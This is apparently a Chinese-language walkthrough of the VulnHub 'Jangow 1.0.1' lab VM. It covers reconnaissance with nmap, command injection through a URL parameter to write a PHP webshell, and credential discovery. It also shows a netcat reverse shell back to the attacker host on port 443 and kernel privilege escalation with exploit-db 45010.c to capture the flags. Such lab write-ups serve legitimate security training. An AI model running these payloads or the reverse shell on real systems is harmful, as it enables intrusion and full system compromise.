靶机:192.168.60.175
攻击机:192.168.60.148
靶机下载地址:https://www.vulnhub.com/entry/jangow-101,754/
导入VMware可能会出现配置问题,导致攻击机扫描不到,参考大佬文章修改一下配置
系统启动时,(长按shift键)显示以下界面
点击回车后选择以下选项
这里注意不要点击回车,输入e进行编辑
删除“recovery nomodeset”并在最后添加“quiet splash rw init=/bin/bash”
ro/rw表示以只读(ro)/读写(rw)模式挂载根文件系统;
quiet用于设置静默模式;
splash用于设置启动时的屏幕输出;
init用于指定内核挂载根文件系统后运行的第一个用户空间程序的绝对路径(也有文章描述为设置内核执行的初始化进程名)。
修改完成后按F10或ctrl+x启动(如果没有进入下面的界面,按F10或ctrl+x的时候同步按回车)
输入passwd修改root密码
重启进入系统,使用刚才修改的root密码进入root权限
使用ifconfig -a或ip addr show获取网卡信息
编辑文件修改网卡信息
/etc/network/interfaces
我这里/出不来,所以采用的方式就是先cd到根目录,再cd到interfaces文件的目录,在当前目录使用vi修改文件内容
修改网卡为自己的网卡(这里的自己的网卡不是本机的网卡,而是上面ifconfig -a出来的靶机的网卡)
修改完成后重启生效(目的是重启DHCP服务)
使用netdiscover直接模糊扫描找到靶机ip
nmap对靶机进行一下模糊探测
sudo nmap -sS -A -T4 192.168.60.175
21端口是FTP服务,可以尝试爆破
访问80端口看一下
前两个页面都是当前页面
buscar页面就换链接了,在URL处似乎有突破点
不过权限明显不够用
这里先获取当前的绝对路径
echo '' >shell.php
访问一下,看是否上传成功
上传成功
蚁剑连接webshell
config.php文件下发现一个账号密码
.backup下发现另一个账号密码
保存下面的代码为一个php文件并使用蚁剑上传到靶机:
&1|nc 192.168.60.148 443 >/tmp/f');?>
kali监听本地端口:
nc -lvp 443
本地开启端口监听
在网页中访问一下进行触发
这边接收到shell
python写入交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
直接使用蚁剑的虚拟终端
这里可以简单操作,但是使用这个虚拟终端无法提权
ftp远程连接,前面发现了两个账号密码
用那两个账号密码尝试一下ftp远程
jangow01这个可以连接,另一个不行
uname -a 得到靶机为linux系统
lsb_release -a 得到靶机为16.04的发行版本
这里使用searchsploit找到了对应的提权的文件
这个是一个版本通用的文件,需要传到靶机上编译运行提权
find查找目标文件
find / -name 45010.c
cp命令复制文件到当前目录
sudo cp /usr/share/exploitdb/exploits/linux/local/45010.c /var/www/html
这里其实不复制也行,可以直接传输
本地编译好这个文件,因为上传到靶机再编译可能会报错
gcc 45010.c -o exp
这里不使用-c,因为编译的文件为.o文件,无法直接执行,会报错
-c 将目标文件链接为可执行文件
-o 将目标文件自定义文件名输出
攻击机放出文件
靶机接收文件
但是加权限执行后没用,看了一下发现大小为0,传输的有问题应该
重新使用蚁剑传输45010.c文件
gcc 45010.c -o exp
chmod +x exp
./exp
但是在蚁剑的虚拟终端执行后是没有反应的,必须使用反弹的交互式shell
在/home/jangow01目录下有一个user.txt文件,这是第一个flag
/root下拿到proof.txt